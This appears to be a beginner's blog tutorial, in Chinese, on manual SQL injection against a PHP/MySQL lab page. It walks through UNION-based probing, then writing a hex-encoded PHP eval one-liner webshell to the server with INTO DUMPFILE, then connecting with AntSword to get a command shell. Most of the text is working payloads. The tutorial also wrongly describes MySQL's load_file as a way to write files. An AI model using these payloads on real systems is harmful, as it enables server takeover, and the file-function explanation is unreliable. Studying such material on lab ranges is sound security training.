第一次写文章,内容有些简单,大佬们轻喷。。
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。
SQL注入有手工注入和工具注入两种方式,本文为手工注入,手工注入可以更好的理解注入原理,从而在使用工具注入时知道工具做了些什么。
可以自行使用虚拟机搭建靶场,安装phpStudy即可一键部署web网站,本文使用了网上某机构的靶场。
这是一个正常网页
通过url可以看到,该网页通过GET的方式传参。
用and 1=1 和and 1=2 检查是否存在SQL注入
and 1=1 页面返回正常
and 1=2 页面返回错误,还顺便爆出了绝对路径!
还知道了这样网页是php写的。
记住这个路径,后面会用到。
接着用order by 查看当前的数据库表的有多少列
order by 2 页面正常
order by 3 返回错误
说明当前数据库表列只有两列
接着使用联合查询union select查看输出点,为了不影响查看输出点,union前面的条件都设置为假,这样正常页面的内容就不会输出。
看到了吗,这里有个输出点 2
好了,接下来开始搞事情了!
利用MySQL可以写入文件的特点,所以可以向web服务器写入一句话木马:,这里传参的变量我用的是8,可以用字符,但是要加上单引号‘ ’,有时候单引号在url里面会引起些很奇怪的问题,所以我更喜欢用数字。
MySQL的into dumpfile和load_file方法都是可以写入文件的,在高版本的mysql中,dumpfile是默认关闭不允许使用的,跟load_file一样,他们两个开启方法一样,load_file能用那么dumpfile就能用,那么用dumpfile还是load_file,这里就要看这两个方法的区别了,dumpfile只能写入一行,load_file可以写入多行,dumpfile会把全部当作字符串写入,而load_file会把特殊的字符进行转义,比如\n会自动换行,因此这里使用dumpfile更为合适。
如果有堆叠注入,可以通过日志的方法写Webshell。(这里扩展一下与本文无关就不细说了,可以自行百度)
我们来构造可以写入一句话木马的MySQL语句:
and 1=2 union select 1,
into dumpfile ‘C:\phpStudy\WWW\hqrong.php‘
这里写入的路径就是刚才爆出的路径,hqrong.php就是要写入的文件。
执行完之后我们去访问下hqrong.php
发现这个文件不存在,就是说明没有写入成功,那我们检查下我们的语句是否出现了问题
?id =1 and 1=2 union select 1,
into dumpfile ‘C:\phpStudy\WWW\hqrong.php‘
这里第一个问号代表GET传参,但是我们的一句话木马
我们再把这个十六进制再转字符串看下
明显少了一个空格,要知道空格对于php和其他代码来说是很重要的。我们看一下
结合经验知道空格的十六进制是20,那么在3c3f706870后面加上20就好了,所以一句话木马的十六进制就是3c3f706870206576616c28245f524551554553545b385d293b3f3e,放浏览器继续执行(哦!这里做好小笔记,要在前面加上 0x,这样浏览器才知道这是十六进制),and 1=2 union select 1,0x3c3f706870206576616c28245f524551554553545b385d293b3f3e
into dumpfile ‘C:\phpStudy\WWW\hqrong.php‘
然后访问hqrong.php
还是没写入成功,再检查下我们的语句,原来问题在后面写入路径那里,在MySQL中,双反斜杠\\才是\的意思,修改一下变成and 1=2 union select 1,0x3c3f706870206576616c28245f524551554553545b385d293b3f3e
into dumpfile ‘C:\\phpStudy\\WWW\\hqrong.php‘
执行!。。。访问hqrong.php
根据返回信息,hqrong.php存在了,但是 8 没有传参,那么我们试下传个phpinfo()
出现这个页面代表一句话木马上传成功了!
可以让二营长开炮了。
亮剑!
蚁剑这东西都听说过吧,他的老大哥就是以前的中国菜刀(可惜菜刀因为某些原因在七八年前就官方就不维护了)
用蚁剑连接
这里直接getshell了,可以看到我们刚写入的一句话木马
打开CMD看看
这里getshell了还涉及到提权问题,这里就不说了。
在实际的互联网中getshell了不要碰别人任何东西!!!!不然进去了牢饭可不好吃。。